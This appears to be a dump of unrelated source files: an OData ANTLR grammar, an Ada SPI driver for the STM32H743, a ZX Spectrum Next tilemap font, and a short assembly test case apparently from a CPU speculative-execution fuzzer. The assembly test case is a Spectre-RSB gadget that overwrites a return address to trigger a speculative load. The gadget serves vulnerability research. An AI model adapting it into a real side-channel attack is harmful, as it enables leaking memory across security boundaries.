hasExpr : XWS Has_LLC XWS commonExpr ;
addExpr : XWS Add_LLC XWS commonExpr ;
subExpr : XWS Sub_LLC XWS commonExpr ;
mulExpr : XWS Mul_LLC XWS commonExpr ;
divExpr : XWS Div_LLC XWS commonExpr ;
modExpr : XWS Mod_LLC XWS commonExpr ;
negateExpr : MINUS ( XWS )* commonExpr ;
notExpr : Not_LLC XWS boolCommonExpr ;
isofExpr : IsOf_LLC OP ( XWS )* ( commonExpr ( XWS )* COMMA ( XWS )* )? qualifiedTypeName ( XWS )* CP ;
castExpr : Cast_LLC OP ( XWS )* ( commonExpr ( XWS )* COMMA ( XWS )* )? qualifiedTypeName ( XWS )* CP ;
/* ----------------------------------------------------------------------------
* 4. JSON format for function and action parameters
* ----------------------------------------------------------------------------
* Note: the query part of a URI needs to be partially percent-decoded before
* applying these rules, see comment at the top of this file
*/
complexColInUri : BeginArray
( complexInUri ( ValueSeparator complexInUri )* )?
EndArray
;
complexInUri : BeginObject
( ( complexTypeMetadataInUri
| primitivePropertyInUri
| complexPropertyInUri
| collectionPropertyInUri
)
( ValueSeparator
( primitivePropertyInUri
| complexPropertyInUri
| collectionPropertyInUri
)
)*
)?
EndObject;
collectionPropertyInUri : ( QuotationMark primitiveColProperty QuotationMark
NameSeparator
primitiveColInUri
)
| ( QuotationMark complexColProperty QuotationMark
NameSeparator
complexColInUri
);
primitiveColInUri : BeginArray
( primitiveLiteralInJSON ( ValueSeparator primitiveLiteralInJSON )* )?
EndArray;
complexPropertyInUri : QuotationMark complexProperty QuotationMark
NameSeparator
complexInUri;
complexTypeMetadataInUri : typeNVPInUri;
typeNVPInUri : QuotationMark 'odata' DOT 'type' QuotationMark
NameSeparator
QuotationMark qualifiedTypeName QuotationMark;
primitivePropertyInUri : QuotationMark primitiveProperty QuotationMark
NameSeparator
primitiveLiteralInJSON;
// COMMENT_ANTLR: Rule below noted as missing in rule actionParameterValue. Why?
entityRefColInUri : BeginArray
( entityRefInJSON ( ValueSeparator entityRefInJSON )* )?
EndArray;
entityRefInJSON : DQ entityReference DQ;
// JSON syntax: adapted to URI restrictions from [RFC4627]
BeginObject : ( XWS )* OC ( XWS )*;
EndObject : ( XWS )* CC ( XWS )*;
BeginArray : ( XWS )* OB ( XWS )*;
EndArray : ( XWS )* CB ( XWS )*;
QuotationMark : DQ;
NameSeparator : ( XWS )* COLON ( XWS )*;
ValueSeparator : ( XWS )* COMMA ( XWS )*;
primitiveLiteralInJSON : stringInJSON
| numberInJSON
| True_LLC
| False_LLC
| Null_LLC;
stringInJSON : QuotationMark charInJSON* QuotationMark;
charInJSON : pChar | SLASH | QUESTION // only these are allowed in the query part of a URL
| UnencodedNoSpecial // these are allowed per processing rule
| ESCAPE ( DQ
| ESCAPE
| SLASH // solidus U+002F
| B_LLC // backspace U+0008
| F_LLC // form feed U+000C
| N_LLC // line feed U+000A
| R_LLC // carriage return U+000D
| T_LLC // tab U+0009
| U_LLC HEXDIG4 // U+XXXX
);
escape : ESCAPE; // reverse solidus U+005C
numberInJSON : ( MINUS )? intPart ( fracPart )? ( expPart )?;
intPart : ZERO | ( ONE_TO_NINE ( Digit )* );
fracPart : DOT ( Digit )+;
expPart : E ( SIGN )? ( Digit )+;
// TODO: move this to separate ABNF and cite original JSON syntax [RFC4627]?
// - pro: request body is less restrictive than URI, so xxxInUri rules are too restrictive
// - con: would require duplicating xxxInUri rules to just add ( VWS )*
// - pro: will require duplicating these rules for JSON format anyway, roll action in there
actionRequestBody : ( VWS )* BeginObject ( VWS )*
actionParameter ( ValueSeparator ( VWS )* actionParameter )*
( VWS )* EndObject ( VWS )*;
actionParameter : actionParameterName NameSeparator actionParameterValue;
actionParameterName : QuotationMark odataIdentifier QuotationMark;
actionParameterValue : complexInUri
| complexColInUri
| entityRefInJSON
| entityRefColInUri
| primitiveLiteralInJSON
| primitiveColInUri;
/* ----------------------------------------------------------------------------
* 5. Names and identifiers
* ----------------------------------------------------------------------------
*/
qualifiedTypeName : qualifiedEntityTypeName
| qualifiedComplexTypeName
| qualifiedEnumerationTypeName
| PrimitiveTypeName
| 'Collection' OP
( qualifiedEntityTypeName
| qualifiedComplexTypeName
| qualifiedEnumerationTypeName
| PrimitiveTypeName
) CP;
qualifiedEntityTypeName : namespace DOT entityTypeName;
qualifiedComplexTypeName : namespace DOT complexTypeName;
qualifiedEnumerationTypeName : namespace DOT enumerationTypeName;
// an alias is just a single-part namespace
namespace : namespacePart ( DOT namespacePart )*;
namespacePart : odataIdentifier;
entitySetName : odataIdentifier;
namedEntity : odataIdentifier;
entityTypeName : odataIdentifier;
complexTypeName : odataIdentifier;
enumerationTypeName : odataIdentifier;
enumerationMember : odataIdentifier;
odataIdentifier : identifierLeadingCharacter ODATA_ID_CHAR478*;
identifierLeadingCharacter : Alpha | UNDERSCORE ; // TODO: Any character from the Unicode classes L or Nl
identifierCharacter : Alpha | ( Digit ) | UNDERSCORE; // TODO: Any character from the Unicode classes L, Nl, Nd, Mn, Mc, Pc or Cf
PrimitiveTypeName : ('Edm' DOT)? ( 'Binary'
| 'Boolean'
| 'Byte'
| 'Date'
| 'DateTimeOffset'
| 'Decimal'
| 'Double'
| 'Duration'
| 'Guid'
| 'Int16'
| 'Int32'
| 'Int64'
| 'SByte'
| 'Single'
| 'Stream'
| 'String'
| 'TimeOfDay'
| AbstractSpatialTypeName ( ConcreteSpatialTypeName )?
);
AbstractSpatialTypeName : 'Geography'
| 'Geometry';
ConcreteSpatialTypeName : 'Collection'
| 'LineString'
| 'MultiLineString'
| 'MultiPoint'
| 'MultiPolygon'
| 'Point'
| 'Polygon';
property : primitiveProperty
| primitiveColProperty
| complexProperty
| complexColProperty
| streamProperty;
primitiveProperty : primitiveKeyProperty | primitiveNonKeyProperty;
primitiveKeyProperty : odataIdentifier;
primitiveNonKeyProperty : odataIdentifier;
primitiveColProperty : odataIdentifier;
complexProperty : odataIdentifier;
complexColProperty : odataIdentifier;
streamProperty : odataIdentifier;
navigationProperty : entityNavigationProperty | entityColNavigationProperty;
entityNavigationProperty : odataIdentifier;
entityColNavigationProperty : odataIdentifier;
entityContainer : odataIdentifier;
action : odataIdentifier ;
actionImport : odataIdentifier ;
function : entityFunction
| entityColFunction
| complexFunction
| complexColFunction
| primitiveFunction
| primitiveColFunction
;
entityFunction : odataIdentifier ;
entityColFunction : odataIdentifier ;
complexFunction : odataIdentifier ;
complexColFunction : odataIdentifier ;
primitiveFunction : odataIdentifier ;
primitiveColFunction : odataIdentifier ;
entityFunctionImport : odataIdentifier ;
entityColFunctionImport : odataIdentifier ;
complexFunctionImport : odataIdentifier ;
complexColFunctionImport : odataIdentifier ;
primitiveFunctionImport : odataIdentifier ;
primitiveColFunctionImport : odataIdentifier ;
/* ----------------------------------------------------------------------------
* 6. Literal Data Values
* ----------------------------------------------------------------------------
*/
primitiveLiteral : null_symbol
| decimal
| single
| double_symbol
| sbyte
| byte_symbol
| int16
| int32
| int64
| binary
| date
| dateTimeOffset
| duration
| guid
| aString
| timeOfDay
| boolean_symbol
| enum_symbol
| geographyCollection
| geographyLineString
| geographyMultiLineString
| geographyMultiPoint
| geographyMultiPolygon
| geographyPoint
| geographyPolygon
| geometryCollection
| geometryLineString
| geometryMultiLineString
| geometryMultiPoint
| geometryMultiPolygon
| geometryPoint
| geometryPolygon;
null_symbol : Null_LLC ( SQ qualifiedTypeName SQ )?;
// The optional qualifiedTypeName is used to specify what type this null value should be considered.
// Knowing the type is useful for function overload resolution purposes
binary : (X_LUC|Binary_LAC) SQ (HEXDIG1 HEXDIG1)* SQ; // Note: 'X' is case sensitive, "binary" is not
boolean_symbol : (True_LLC|ONE) | (False_LLC|ZERO);
decimal : decimalBody ( M )?;
decimalBody : (SIGN)? ( Digit )+ (DOT ( Digit )+)?;
double_symbol : doubleBody ( D )?;
doubleBody : decimalBody ( E (SIGN)? ( Digit )+ )? // TODO: restrict range
| nanInfinity;
single : singleBody ( F )?;
singleBody : decimalBody ( E (SIGN)? ( Digit )+ )? // TODO: restrict range
| nanInfinity;
nanInfinity : NotANumber_LXC | MINUS Infinity_LUC | Infinity_LUC;
guid : GUID_LAC SQ guidBody SQ;
guidBody : HEXDIG8 MINUS HEXDIG4 MINUS HEXDIG4 MINUS HEXDIG4 MINUS HEXDIG12;
byte_symbol : ( DIGIT3 )+; // numbers in the range from 0 to 255
sbyte : (SIGN)? ( DIGIT3 )+; // numbers in the range from -128 to 127
int16 : (SIGN)? ( DIGIT5 )+; // numbers in the range from -32768 to 32767
int32 : (SIGN)? ( DIGIT10 )+; // numbers in the range from -2147483648 to 2147483647
int64 : int64Body (I64_POSTFIX)?;
int64Body : (SIGN)? ( DIGIT19 )+; // numbers in the range from -9223372036854775808 to 9223372036854775807
aString : SQ ( pCharNoSingleQuote | SingleQuoteEscapedInString | Unencoded )* SQ;
pCharNoSingleQuote : Unreserved
| PctEncoded
| OtherDelims
| DOLLAR
| AMPERSAND
| SEMI
| EQ
| COLON
| AT_SIGN
; // also no percent-encoded single quote
SingleQuoteEscapedInString : SQ SQ; // two quotes represent one within string literal
date : Date_LAC SQ dateBody SQ;
dateBody : year MINUS month MINUS day;
dateTimeOffset : DateTimeOffset_LAC SQ dateTimeOffsetBody SQ;
dateTimeOffsetBody : year MINUS month MINUS day T_LUC hour COLON minute ( COLON second ( DOT fractionalSeconds )? )? ( Z_LUC | SIGN hour COLON minute );
// COMMENT_ANTLR: ISO 8601 says T and not [Tt] separating Date and Time in DateTime
// COMMENT_ANTLR: ISO 8601 says Z and not [Zz] indicating UTC (Zulu time ie.)
duration : Duration_LAC SQ durationBody SQ;
durationBody : ( SIGN )? P_LUC ( ( Digit )+ D_LUC )? ( T_LUC ( ( Digit )+ H_LUC )? ( ( Digit )+ M_LUC )? ( ( Digit )+ ( DOT ( Digit )+ )? S_LUC )? )?;
// the above is an approximation of the rules for an xml dayTimeDuration.
// see the lexical representation for dayTimeDuration in http://www.w3.org/TR/xmlschema11-2#dayTimeDuration for more information
// COMMENT_ANTLR: ISO 8601 also PDTHMS indicators as uppercase
timeOfDay : TimeOfDay_LAC SQ timeOfDayBody SQ;
timeOfDayBody : hour COLON minute ( COLON second ( DOT fractionalSeconds )?)?;
year : ( Digit ) ( Digit ) ( Digit ) ( Digit );
month : ZERO ONE_TO_NINE
| ONE ZERO_TO_TWO;
day : ZERO_TO_TWO ONE_TO_NINE
| THREE ZERO_TO_ONE;
hour : ZERO_TO_ONE ( Digit )
| TWO ONE_TO_THREE;
minute : ZERO_TO_FIFTY_NINE;
second : ZERO_TO_FIFTY_NINE;
fractionalSeconds : ( Digit )+;
enum_symbol : qualifiedEnumerationTypeName SQ enumBody SQ;
enumBody : enumValue ( COMMA enumValue )*;
enumValue : enumerationMember | int64Body;
geographyCollection : geographyPrefix fullCollectionLiteral SQ;
fullCollectionLiteral : sridLiteral collectionLiteral;
collectionLiteral : CollectionOP_LAC geoLiteral ( COMMA geoLiteral )* CP;
geoLiteral : collectionLiteral
| lineStringLiteral
| multiPointLiteral
| multiLineStringLiteral
| multiPolygonLiteral
| pointLiteral
| polygonLiteral;
geographyLineString : geographyPrefix fullLineStringLiteral SQ;
fullLineStringLiteral : sridLiteral lineStringLiteral;
lineStringLiteral : LineString_LAC lineStringData;
lineStringData : OP positionLiteral ( COMMA positionLiteral )+ CP;
geographyMultiLineString : geographyPrefix fullMultiLineStringLiteral SQ;
fullMultiLineStringLiteral : sridLiteral multiLineStringLiteral;
multiLineStringLiteral : MultiLineStringOP_LAC ( lineStringData ( COMMA lineStringData )* )? CP;
geographyMultiPoint : geographyPrefix fullMultiPointLiteral SQ;
fullMultiPointLiteral : sridLiteral multiPointLiteral;
multiPointLiteral : MultiPointOP_LAC ( pointData *( COMMA pointData ) )? CP;
geographyMultiPolygon : geographyPrefix fullMultiPolygonLiteral SQ;
fullMultiPolygonLiteral : sridLiteral multiPolygonLiteral;
multiPolygonLiteral : MultiPolygonOP_LAC ( polygonData ( COMMA polygonData )* )? CP;
geographyPoint : geographyPrefix fullPointLiteral SQ;
fullPointLiteral : sridLiteral pointLiteral;
sridLiteral : SRID_LAC EQ ( DIGIT5 )+ SEMI;
pointLiteral : Point_LAC pointData;
pointData : OP positionLiteral CP;
positionLiteral : double_symbol SP double_symbol; // longitude, then latitude
geographyPolygon : geographyPrefix fullPolygonLiteral SQ;
fullPolygonLiteral : sridLiteral polygonLiteral;
polygonLiteral : Polygon_LAC polygonData;
polygonData : OP ringLiteral ( COMMA ringLiteral )* CP;
ringLiteral : OP positionLiteral ( COMMA positionLiteral )* CP;
// Within each ringLiteral, the first and last positionLiteral elements MUST be an exact syntactic match to each other.
// Within the polygonData, the ringLiterals MUST specify their points in appropriate winding order.
// In order of traversal, points to the left side of the ring are interpreted as being in the polygon.
geometryCollection : geometryPrefix fullCollectionLiteral SQ;
geometryLineString : geometryPrefix fullLineStringLiteral SQ;
geometryMultiLineString : geometryPrefix fullMultiLineStringLiteral SQ;
geometryMultiPoint : geometryPrefix fullMultiPointLiteral SQ;
geometryMultiPolygon : geometryPrefix fullMultiPolygonLiteral SQ;
geometryPoint : geometryPrefix fullPointLiteral SQ;
geometryPolygon : geometryPrefix fullPolygonLiteral SQ;
geographyPrefix : Geography_LAC SQ;
geometryPrefix : Geometry_LAC SQ;
/*
* ----------------------------------------------------------------------------
* A. URI syntax [RFC3986]
* ----------------------------------------------------------------------------
*/
host : IPLiteral | IPv4address | regName;
port : ( Digit )*;
IPLiteral : OB ( IPv6address | IPvFuture ) CB;
IPvFuture : V_LLC ( HEXDIG1 )+ DOT ( Unreserved | SubDelims | COLON )+;
IPv6address : ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ Ls32
| ColCol ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ Ls32
| ( H16 )? ColCol ( H16Col )+ ( H16Col )+ ( H16Col )+ ( H16Col )+ Ls32
| ( ( H16Col )? H16 )? ColCol ( H16Col )+ ( H16Col )+ ( H16Col )+ Ls32
| ( ( H16Col )? ( H16Col )? H16 )? ColCol ( H16Col )+ ( H16Col )+ Ls32
| ( ( H16Col )? ( H16Col )? ( H16Col )? H16 )? ColCol H16Col Ls32
| ( ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? H16 )? ColCol Ls32
| ( ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? H16 )? ColCol H16
| ( ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? ( H16Col )? H16 )? ColCol ;
Ls32 : ( H16Col H16 ) | IPv4address;
IPv4address : DecOctet DOT DecOctet DOT DecOctet DOT DecOctet;
DecOctet : ONEHUNDRED_TO_ONEHUNDREDNINETYNINE // 100-199
| TWOHUNDRED_TO_TWOHUNDREDFOURTYNINE // 200-249
| TWOHUNDREDFIFTY_TO_TWOHUNDREDFIFTYFIVE // 250-255
| TEN_TO_NINETYNINE // 10-99
| ( Digit ) ; // 0-9
regName : ( Unreserved | PctEncoded | SubDelims )*;
segmentNZ : ( pChar )+;
pChar : Unreserved | PctEncoded | SubDelims | COLON | AT_SIGN;
PctEncoded : PERCENT HEXDIG1 HEXDIG1;
Unreserved : Alpha | Digit | MINUS | DOT | UNDERSCORE | TILDE;
SubDelims : DOLLAR | AMPERSAND | EQ | SEMI | SQ | OtherDelims;
OtherDelims : EXCLAMATION | OP | CP | STAR | PLUS | COMMA;
/* ----------------------------------------------------------------------------
* 7. Punctuation
* ----------------------------------------------------------------------------
*/
// TODO: SQUOTE ie. SQ must also be normalized before parsing
// see lexer grammar.
/* ----------------------------------------------------------------------------
* B. ABNF core definitions [RFC5234]
* ----------------------------------------------------------------------------
*/
// see lexer grammar.
/* ----------------------------------------------------------------------------
* End of ODataGrammar
* ----------------------------------------------------------------------------
*/
|
ADL/drivers/stm32h743/stm32-spi.ads
|
JCGobbi/Nucleo-STM32H743ZI
| 0 |
10539
|
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of STMicroelectronics nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
-- --
-- This file is based on: --
-- --
-- @file stm32f4xx_hal_spi.h --
-- @author MCD Application Team --
-- @version V1.1.0 --
-- @date 19-June-2014 --
-- @brief Header file of SPI HAL module. --
-- --
-- COPYRIGHT(c) 2014 STMicroelectronics --
------------------------------------------------------------------------------
-- This file provides definitions for the STM32G4 (ARM Cortex M4F
-- from ST Microelectronics) Serial Peripheral Interface (SPI) facility.
private with STM32_SVD.SPI;
with HAL.SPI;
with System;
package STM32.SPI is
type Internal_SPI_Port is private;
type SPI_Port (Periph : not null access Internal_SPI_Port) is
limited new HAL.SPI.SPI_Port with private;
type SPI_Data_Direction is
(D2Lines_FullDuplex,
D1Line_Tx,
D1Line_Rx,
D2Lines_RxOnly);
type SPI_Mode is (Master, Slave);
type SPI_Data_Size is
(Bits_4,
Bits_5,
Bits_6,
Bits_7,
Bits_8,
Bits_9,
Bits_10,
Bits_11,
Bits_12,
Bits_13,
Bits_14,
Bits_15,
Bits_16,
Bits_17,
Bits_18,
Bits_19,
Bits_20,
Bits_21,
Bits_22,
Bits_23,
Bits_24,
Bits_25,
Bits_26,
Bits_27,
Bits_28,
Bits_29,
Bits_30,
Bits_31,
Bits_32)
with Size => 5;
for SPI_Data_Size use
(Bits_4 => 2#00011#,
Bits_5 => 2#00100#,
Bits_6 => 2#00101#,
Bits_7 => 2#00110#,
Bits_8 => 2#00111#,
Bits_9 => 2#01000#,
Bits_10 => 2#01001#,
Bits_11 => 2#01010#,
Bits_12 => 2#01011#,
Bits_13 => 2#01100#,
Bits_14 => 2#01101#,
Bits_15 => 2#01110#,
Bits_16 => 2#01111#,
Bits_17 => 2#10000#,
Bits_18 => 2#10001#,
Bits_19 => 2#10010#,
Bits_20 => 2#10011#,
Bits_21 => 2#10100#,
Bits_22 => 2#10101#,
Bits_23 => 2#10110#,
Bits_24 => 2#10111#,
Bits_25 => 2#11000#,
Bits_26 => 2#11001#,
Bits_27 => 2#11010#,
Bits_28 => 2#11011#,
Bits_29 => 2#11100#,
Bits_30 => 2#11101#,
Bits_31 => 2#11110#,
Bits_32 => 2#11111#);
type SPI_Clock_Polarity is (High, Low);
type SPI_Clock_Phase is (P1Edge, P2Edge);
type SPI_Slave_Management is (Software_Managed, Hardware_Managed);
type SPI_Baud_Rate_Prescaler is
(Div_2, Div_4, Div_8, Div_16, Div_32, Div_64, Div_128, Div_256);
type SPI_First_Bit is (MSB, LSB);
type SPI_Configuration is record
Direction : SPI_Data_Direction;
Mode : SPI_Mode;
Data_Size : HAL.SPI.SPI_Data_Size;
Clock_Polarity : SPI_Clock_Polarity;
Clock_Phase : SPI_Clock_Phase;
Slave_Management : SPI_Slave_Management;
Baud_Rate_Prescaler : SPI_Baud_Rate_Prescaler;
First_Bit : SPI_First_Bit;
CRC_Poly : UInt32;
end record;
procedure Configure (This : in out SPI_Port; Conf : SPI_Configuration);
procedure Enable (This : in out SPI_Port);
procedure Disable (This : in out SPI_Port);
function Enabled (This : SPI_Port) return Boolean;
procedure Send (This : in out SPI_Port; Data : UInt32);
procedure Send (This : in out SPI_Port; Data : UInt16);
procedure Send (This : in out SPI_Port; Data : UInt8);
function Data_Tx (This : SPI_Port) return UInt32
with Inline;
function Data_Rx (This : SPI_Port) return UInt32
with Inline;
function Is_Busy (This : SPI_Port) return Boolean
with Inline;
function Rx_Is_Empty (This : SPI_Port) return Boolean
with Inline;
function Tx_Is_Empty (This : SPI_Port) return Boolean
with Inline;
function Busy (This : SPI_Port) return Boolean
with Inline;
function Underrun_Indicated (This : SPI_Port) return Boolean
with Inline;
function CRC_Error_Indicated (This : SPI_Port) return Boolean
with Inline;
function Mode_Fault_Indicated (This : SPI_Port) return Boolean
with Inline;
function Overrun_Indicated (This : SPI_Port) return Boolean
with Inline;
function Frame_Fmt_Error_Indicated (This : SPI_Port) return Boolean
with Inline;
procedure Clear_Overrun (This : SPI_Port);
procedure Configure_CRC
(This : SPI_Port;
Size : HAL.SPI.SPI_Data_Size := HAL.SPI.Data_Size_8b;
Poly : UInt32 := 16#107#);
-- The default 9-bit polynomial setting 0x107 corresponds to default 8-bit
-- setting of DSIZE. It is compatible with setting 0x07 used at some other
-- ST products with fixed length of the polynomial string where the most
-- significant bit of the string is always kept hidden.
-- Length of the polynomial is given by the most significant bit of the
-- value stored at this register. It has to be set greater than DSIZE.
-- CRC33_17 bit has to be set additionally with SRCPOLY register when DSIZE
-- is configured to maximum 32-bit or 16-bit size and CRC is enabled (to
-- keep polynomial length grater than data size).
function CRC_Enabled (This : SPI_Port) return Boolean;
procedure Reset_CRC (This : in out SPI_Port);
function Is_Data_Frame_32bit (This : SPI_Port) return Boolean;
function Is_Data_Frame_16bit (This : SPI_Port) return Boolean;
function Current_Mode (This : SPI_Port) return SPI_Mode;
function Current_Data_Direction (This : SPI_Port) return SPI_Data_Direction;
-- The following I/O routines implement the higher level functionality for
-- CRC and data direction, among others.
type UInt8_Buffer is array (Natural range <>) of UInt8
with Alignment => 4;
-- The alignment is set to 4 because we treat four components as word
-- values when sending/receiving in 32-bit mode, so the alignment of 4
-- ensures that the address is divisible by 4.
-- Blocking
overriding
function Data_Size (This : SPI_Port) return HAL.SPI.SPI_Data_Size;
overriding
procedure Transmit
(This : in out SPI_Port;
Data : HAL.SPI.SPI_Data_8b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
overriding
procedure Transmit
(This : in out SPI_Port;
Data : HAL.SPI.SPI_Data_16b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
overriding
procedure Transmit
(This : in out SPI_Port;
Data : HAL.SPI.SPI_Data_32b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
procedure Transmit
(This : in out SPI_Port;
Outgoing : UInt8);
overriding
procedure Receive
(This : in out SPI_Port;
Data : out HAL.SPI.SPI_Data_8b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
overriding
procedure Receive
(This : in out SPI_Port;
Data : out HAL.SPI.SPI_Data_16b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
overriding
procedure Receive
(This : in out SPI_Port;
Data : out HAL.SPI.SPI_Data_32b;
Status : out HAL.SPI.SPI_Status;
Timeout : Natural := 1000);
procedure Receive
(This : in out SPI_Port;
Incoming : out UInt8);
procedure Transmit_Receive
(This : in out SPI_Port;
Outgoing : UInt8_Buffer;
Incoming : out UInt8_Buffer;
Size : Positive);
procedure Transmit_Receive
(This : in out SPI_Port;
Outgoing : UInt8;
Incoming : out UInt8);
-- TODO: add the other higher-level HAL routines for interrupts and DMA
function Data_Tx_Register_Address
(This : SPI_Port)
return System.Address;
-- For DMA transfer
function Data_Rx_Register_Address
(This : SPI_Port)
return System.Address;
-- For DMA transfer
private
type Internal_SPI_Port is new STM32_SVD.SPI.SPI_Peripheral;
type SPI_Port (Periph : not null access Internal_SPI_Port) is
limited new HAL.SPI.SPI_Port with null record;
procedure Send_Receive_32bit_Mode
(This : in out SPI_Port;
Outgoing : UInt8_Buffer;
Incoming : out UInt8_Buffer;
Size : Positive);
procedure Send_Receive_16bit_Mode
(This : in out SPI_Port;
Outgoing : UInt8_Buffer;
Incoming : out UInt8_Buffer;
Size : Positive);
procedure Send_Receive_8bit_Mode
(This : in out SPI_Port;
Outgoing : UInt8_Buffer;
Incoming : out UInt8_Buffer;
Size : Positive);
procedure Send_32bit_Mode
(This : in out SPI_Port;
Outgoing : HAL.SPI.SPI_Data_32b);
procedure Send_16bit_Mode
(This : in out SPI_Port;
Outgoing : HAL.SPI.SPI_Data_16b);
procedure Send_8bit_Mode
(This : in out SPI_Port;
Outgoing : HAL.SPI.SPI_Data_8b);
procedure Receive_32bit_Mode
(This : in out SPI_Port;
Incoming : out HAL.SPI.SPI_Data_32b);
procedure Receive_16bit_Mode
(This : in out SPI_Port;
Incoming : out HAL.SPI.SPI_Data_16b);
procedure Receive_8bit_Mode
(This : in out SPI_Port;
Incoming : out HAL.SPI.SPI_Data_8b);
end STM32.SPI;
|
evaluation/2a_more_vulns/spectre_v5.asm
|
mguarnieri/revizor
| 0 |
174335
|
.intel_syntax noprefix
AND rax, 0b111111000000 # keep the mem. access within the sandbox
MFENCE
ADD rsp, 8 # ensure that the CALL and RET use the first cache set
CALL f1
unreachable:
// LFENCE # if you uncomment this line, the speculation will stop
MOV rax, [r14 + rax] # speculative access
JMP f2
LFENCE
f1:
LEA rdx, [rip + f2]
MOV [rsp], rdx # overwrite the return address with f2
RET
f2:
MFENCE
|
displayedge/tilemap_font_8x6.i.asm
|
ped7g/ZXSpectrumNextMisc
| 15 |
10559
|
; 22 - full invisible (all red/yellow stripes)
HEX 55554444
HEX 55444455
HEX 44445555
HEX 44555544
HEX 55554444
HEX 55444455
HEX 44445555
HEX 44555544
; 23 - top/left corner arrow
HEX 33333333
HEX 33000000
HEX 33004440
HEX 33044444
HEX 33044444
HEX 33004440
HEX 00000000
HEX 00000000
; 24 - bottom/right corner arrow
HEX 00000000
HEX 00000000
HEX 04440033
HEX 44444033
HEX 44444033
HEX 04440033
HEX 00000033
HEX 33333333
; 25 - red dot
HEX 00000000 00000000 00444000 04444400
HEX 04444400 00444000 00000000
HEX 00000000
; 26 - yellow dot
HEX 00000000 00000000 00555000 05555500
HEX 05555500 00555000 00000000
HEX 00000000
; 27 - green dot
HEX 00000000 00000000 00666000 06666600
HEX 06666600 00666000 00000000
HEX 00000000
; 28 - left arrow
HEX 00030000
HEX 00330000
HEX 03033330
HEX 30000030
HEX 03033330
HEX 00330000
HEX 00030000
HEX 00000000
; 29 - top arrow
HEX 00030000
HEX 00303000
HEX 03000300
HEX 33303330
HEX 00303000
HEX 00303000
HEX 00333000
HEX 00000000
; 30 - right arrow
HEX 00030000
HEX 00033000
HEX 33330300
HEX 30000030
HEX 33330300
HEX 00033000
HEX 00030000
HEX 00000000
; 31 - bottom arrow
HEX 00333000
HEX 00303000
HEX 00303000
HEX 33303330
HEX 03000300
HEX 00303000
HEX 00030000
HEX 00000000
; 32 - space (regular ZX charset onward)
HEX 00000000 ; offset original 8x6 font by one line down
HEX 00000000 00000000 00000000
HEX 00000000 00000000 00000000
HEX 00000000 00000000
HEX 00320000 00320000 00320000
HEX 00000000 00320000 00000000
HEX 00000000 00000000
HEX 02302300 01301300 03003000
HEX 00000000 00000000 00000000
HEX 00000000 00000000
HEX 00303000 03333300 00303000
HEX 03333300 00303000 00000000
HEX 00000000 00030000
HEX 00333300 03030000 00333000
HEX 00030300 03333000 00030000
HEX 00000000 00000000
HEX 03300300 03203000 00030000
HEX 00303300 03003200 00000000
HEX 00000000 00000000
HEX 00300000 03020000 00330300
HEX 03003000 00330300 00000000
HEX 00000000 00000000
HEX 00230000 00130000 00300000
HEX 00000000 00000000 00000000
HEX 00000000 00000000
HEX 00000300 00003000 00003000
HEX 00003000 00000300 00000000
HEX 00000000 00000000
HEX 03000000 00300000 00300000
HEX 00300000 03000000 00000000
HEX 00000000 00000000
HEX 01303100 00232000 03333300
HEX 00232000 01303100 00000000
HEX 00000000 00000000
HEX 00030000 00030000 03333300
HEX 00030000 00030000 00000000
HEX 00000000 00000000
HEX 00000000 00000000 00000000
HEX 01300000 03000000 00000000
HEX 00000000 00000000
HEX 00000000 00000000 03333300
HEX 00000000 00000000 00000000
HEX 00000000 00000000
HEX 00000000 00000000 00000000
HEX 00000000 03200000 00000000
HEX 00000000 00000000
HEX 00000300 00003000 00030000
HEX 00300000 03000000 00000000
HEX 00000000 00000000
HEX 00333000 03102300 03020300
HEX 03201300 00333000 00000000
HEX 00000000 00000000
HEX 00023000 00233000 00013000
HEX 00013000 00133300 00000000
HEX 00000000 00000000
HEX 02333000 01001300 00333000
HEX 03100000 03333300 00000000
HEX 00000000 00000000
HEX 02333000 00001300 00333000
HEX 00001300 02333000 00000000
HEX 00000000 00000000
HEX 00033000 00313000 03013000
HEX 03333300 00013000 00000000
HEX 00000000 00000000
HEX 03333300 03000000 03333000
HEX 00001300 02333000 00000000
HEX 00000000 00000000
HEX 00333000 03100000 03333000
HEX 03101300 00333000 00000000
HEX 00000000 00000000
